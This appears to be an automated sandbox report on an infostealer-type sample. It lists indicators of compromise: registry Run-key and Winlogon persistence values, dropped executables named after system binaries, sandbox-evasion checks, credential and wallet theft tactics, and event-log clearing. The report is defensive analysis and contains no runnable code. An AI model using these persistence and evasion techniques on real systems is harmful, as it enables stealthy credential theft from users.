gurcu | cf15cbbd2d202606139eff015c2be74c70eb0606aeb89469a07382481188c86c

Processes:

ChainComServermonitor.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Internet Explorer\\images\\dllhost.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Internet Explorer\\images\\dllhost.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\OfficeClickToRun.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Internet Explorer\\images\\dllhost.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\OfficeClickToRun.exe\", \"C:\\Users\\All Users\\Microsoft\\conhost.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Internet Explorer\\images\\dllhost.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\OfficeClickToRun.exe\", \"C:\\Users\\All Users\\Microsoft\\conhost.exe\", \"C:\\Windows\\ShellExperiences\\WmiPrvSE.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Internet Explorer\\images\\dllhost.exe\", \"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\OfficeClickToRun.exe\", \"C:\\Users\\All Users\\Microsoft\\conhost.exe\", \"C:\\Windows\\ShellExperiences\\WmiPrvSE.exe\", \"C:\\Users\\Public\\Music\\WmiPrvSE.exe\""	ChainComServermonitor.exe

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4560	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2680	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4628	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4780	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1060	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2952	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4984	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4568	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4636	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3196	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4828	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2632	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2824	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2508	1944	schtasks.exe	127
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3532	1944	schtasks.exe	127

Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs

Processes:

setup.exeupdater.exe

description	pid	Process	procid_target
PID 1844 created 3424	1844	setup.exe	56
PID 1844 created 3424	1844	setup.exe	56
PID 1844 created 3424	1844	setup.exe	56
PID 1844 created 3424	1844	setup.exe	56
PID 1844 created 3424	1844	setup.exe	56
PID 1844 created 3424	1844	setup.exe	56
PID 2600 created 3424	2600	updater.exe	56
PID 2600 created 3424	2600	updater.exe	56
PID 2600 created 3424	2600	updater.exe	56
PID 2600 created 3424	2600	updater.exe	56
PID 2600 created 3424	2600	updater.exe	56
PID 2600 created 3424	2600	updater.exe	56

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
3888	powershell.exe
4432	powershell.exe
4576	powershell.exe
1652	powershell.exe
4808	powershell.exe
2728	powershell.exe

Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

wmiprvse.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

s.exeWScript.exeChainComServermonitor.exemain.exeUpdate.exesvchost64.exeBuild.exesvchost.exeWScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	s.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	ChainComServermonitor.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	main.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	svchost64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	Build.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

Processes:

cmd.exepowershell.exe

pid	Process
2552	cmd.exe
3052	powershell.exe

Executes dropped EXE 16 IoCs

Processes:

Build.exehacn.exebased.exehacn.exebased.exes.exesvchost.exemain.exesetup.exeChainComServermonitor.exerar.exeUpdate.exeOfficeClickToRun.exeupdater.exesvchost64.exeChainComServermonitor.exe

pid	Process
1596	Build.exe
2324	hacn.exe
2476	based.exe
4828	hacn.exe
4932	based.exe
5088	s.exe
4956	svchost.exe
1568	main.exe
1844	setup.exe
2296	ChainComServermonitor.exe
2292	rar.exe
3592	Update.exe
2796	OfficeClickToRun.exe
2600	updater.exe
2380	svchost64.exe
1820	ChainComServermonitor.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

Processes:

svchost.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Loads dropped DLL 22 IoCs

Processes:

06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exehacn.exebased.exemain.exeUpdate.exe

pid	Process
4240	06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe
4240	06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe
4828	hacn.exe
4828	hacn.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
4932	based.exe
1568	main.exe
3592	Update.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 52 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/0x00070000000234e2-12.dat	upx
behavioral2/memory/4240-16-0x00007FF8DD1E0000-0x00007FF8DD7C9000-memory.dmp	upx
behavioral2/files/0x00070000000234df-26.dat	upx
behavioral2/files/0x00070000000234de-25.dat	upx
behavioral2/files/0x00070000000234dd-24.dat	upx
behavioral2/files/0x00070000000234db-22.dat	upx
behavioral2/files/0x00070000000234e4-21.dat	upx
behavioral2/files/0x00070000000234e3-20.dat	upx
behavioral2/files/0x00070000000234e1-19.dat	upx
behavioral2/memory/4932-102-0x00007FF8DC270000-0x00007FF8DC859000-memory.dmp	upx
behavioral2/files/0x00070000000234eb-120.dat	upx
behavioral2/memory/4932-124-0x00007FF8F0D50000-0x00007FF8F0D5F000-memory.dmp	upx
behavioral2/files/0x00070000000234ee-123.dat	upx
behavioral2/files/0x00070000000234ed-122.dat	upx
behavioral2/files/0x00070000000234f8-135.dat	upx
behavioral2/memory/4932-136-0x00007FF8DD130000-0x00007FF8DD2A7000-memory.dmp	upx
behavioral2/memory/4932-139-0x00007FF8EC240000-0x00007FF8EC273000-memory.dmp	upx
behavioral2/memory/4932-138-0x00007FF8EFBD0000-0x00007FF8EFBDD000-memory.dmp	upx
behavioral2/memory/4932-143-0x00007FF8DBC30000-0x00007FF8DBD4C000-memory.dmp	upx
behavioral2/memory/4932-144-0x00007FF8DD060000-0x00007FF8DD12D000-memory.dmp	upx
behavioral2/memory/4932-142-0x00007FF8ECA70000-0x00007FF8ECA7D000-memory.dmp	upx
behavioral2/memory/4932-141-0x00007FF8EB560000-0x00007FF8EB574000-memory.dmp	upx
behavioral2/memory/4932-140-0x00007FF8DBD50000-0x00007FF8DC270000-memory.dmp	upx
behavioral2/memory/4932-137-0x00007FF8EC280000-0x00007FF8EC299000-memory.dmp	upx
behavioral2/memory/4932-134-0x00007FF8EC2A0000-0x00007FF8EC2C3000-memory.dmp	upx
behavioral2/memory/4932-132-0x00007FF8F2680000-0x00007FF8F2699000-memory.dmp	upx
behavioral2/memory/4932-131-0x00007FF8EC2D0000-0x00007FF8EC2FD000-memory.dmp	upx
behavioral2/files/0x00070000000234f3-110.dat	upx
behavioral2/files/0x00070000000234f2-107.dat	upx
behavioral2/memory/4932-272-0x00007FF8DC270000-0x00007FF8DC859000-memory.dmp	upx
behavioral2/memory/4932-428-0x00007FF8DBD50000-0x00007FF8DC270000-memory.dmp	upx
behavioral2/memory/4932-425-0x00007FF8EC280000-0x00007FF8EC299000-memory.dmp	upx
behavioral2/memory/4932-424-0x00007FF8DD130000-0x00007FF8DD2A7000-memory.dmp	upx
behavioral2/memory/4932-423-0x00007FF8EC2A0000-0x00007FF8EC2C3000-memory.dmp	upx
behavioral2/memory/4932-429-0x00007FF8DD060000-0x00007FF8DD12D000-memory.dmp	upx
behavioral2/memory/4932-427-0x00007FF8EC240000-0x00007FF8EC273000-memory.dmp	upx
behavioral2/memory/4932-419-0x00007FF8DC270000-0x00007FF8DC859000-memory.dmp	upx
behavioral2/memory/4932-493-0x00007FF8DC270000-0x00007FF8DC859000-memory.dmp	upx
behavioral2/memory/4932-850-0x00007FF8EC240000-0x00007FF8EC273000-memory.dmp	upx
behavioral2/memory/4932-855-0x00007FF8DBD50000-0x00007FF8DC270000-memory.dmp	upx
behavioral2/memory/4932-854-0x00007FF8DBC30000-0x00007FF8DBD4C000-memory.dmp	upx
behavioral2/memory/4932-853-0x00007FF8ECA70000-0x00007FF8ECA7D000-memory.dmp	upx
behavioral2/memory/4932-852-0x00007FF8EB560000-0x00007FF8EB574000-memory.dmp	upx
behavioral2/memory/4932-851-0x00007FF8DD060000-0x00007FF8DD12D000-memory.dmp	upx
behavioral2/memory/4932-849-0x00007FF8EFBD0000-0x00007FF8EFBDD000-memory.dmp	upx
behavioral2/memory/4932-848-0x00007FF8EC280000-0x00007FF8EC299000-memory.dmp	upx
behavioral2/memory/4932-847-0x00007FF8DD130000-0x00007FF8DD2A7000-memory.dmp	upx
behavioral2/memory/4932-846-0x00007FF8EC2A0000-0x00007FF8EC2C3000-memory.dmp	upx
behavioral2/memory/4932-845-0x00007FF8F2680000-0x00007FF8F2699000-memory.dmp	upx
behavioral2/memory/4932-844-0x00007FF8EC2D0000-0x00007FF8EC2FD000-memory.dmp	upx
behavioral2/memory/4932-843-0x00007FF8F0D50000-0x00007FF8F0D5F000-memory.dmp	upx
behavioral2/memory/4932-842-0x00007FF8DC270000-0x00007FF8DC859000-memory.dmp	upx

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 11 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

reg.exeChainComServermonitor.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files\\Internet Explorer\\images\\dllhost.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\OfficeClickToRun.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Users\\All Users\\Microsoft\\conhost.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Windows\\ShellExperiences\\WmiPrvSE.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Windows\\ShellExperiences\\WmiPrvSE.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Users\\Public\\Music\\WmiPrvSE.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Program Files\\Internet Explorer\\images\\dllhost.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\logs\\OfficeClickToRun.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Users\\All Users\\Microsoft\\conhost.exe\""	ChainComServermonitor.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Users\\Public\\Music\\WmiPrvSE.exe\""	ChainComServermonitor.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
20	raw.githubusercontent.com
21	raw.githubusercontent.com
24	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
17	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 13 IoCs

Processes:

svchost.execsc.exepowershell.exeOfficeClickToRun.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File created	\??\c:\Windows\System32\CSC300413D64AA74628AFAAB36A7F70A3C.TMP	csc.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	\??\c:\Windows\System32\enu-0q.exe	csc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

persistence privilege_escalation

Process Discovery

T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid	Process
4676	tasklist.exe
4912	tasklist.exe
1720	tasklist.exe
2976	tasklist.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

setup.exeupdater.exe

description	pid	Process	procid_target
PID 1844 set thread context of 2716	1844	setup.exe	234
PID 2600 set thread context of 3808	2600	updater.exe	253
PID 2600 set thread context of 316	2600	updater.exe	256
PID 2600 set thread context of 2100	2600	updater.exe	257

Drops file in Program Files directory 6 IoCs

Processes:

ChainComServermonitor.exesetup.exe

description	ioc	Process
File opened for modification	C:\Program Files\Internet Explorer\images\dllhost.exe	ChainComServermonitor.exe
File created	C:\Program Files\Internet Explorer\images\5940a34987c991	ChainComServermonitor.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe	ChainComServermonitor.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\e6c9b481da804f	ChainComServermonitor.exe
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe
File created	C:\Program Files\Internet Explorer\images\dllhost.exe	ChainComServermonitor.exe

Drops file in Windows directory 4 IoCs

Processes:

ChainComServermonitor.exesvchost.exeTiWorker.exe

description	ioc	Process
File created	C:\Windows\ShellExperiences\24dbde2999530e	ChainComServermonitor.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File created	C:\Windows\ShellExperiences\WmiPrvSE.exe	ChainComServermonitor.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	Process
5092	sc.exe
2424	sc.exe
3388	sc.exe
4628	sc.exe
4940	sc.exe
448	sc.exe
3440	sc.exe
4436	sc.exe
2380	sc.exe
3660	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

Processes:

resource	yara_rule
behavioral2/files/0x0003000000022b23-34.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

Processes:

cmd.exeBuild.exes.exesvchost.exeWScript.execmd.exesvchost64.exeWScript.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	s.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

Processes:

PING.EXE

pid	Process
1556	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

Processes:

cmd.exenetsh.exe

pid	Process
3604	cmd.exe
3572	netsh.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

wmiprvse.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Update.exewmiprvse.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

Processes:

timeout.exe

pid	Process
2632	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

Processes:

WMIC.exe

pid	Process
816	WMIC.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

Processes:

wmiprvse.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

Processes:

systeminfo.exe

pid	Process
4244	systeminfo.exe

Modifies data under HKEY_USERS 60 IoCs

Processes:

powershell.exeOfficeClickToRun.exesvchost.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
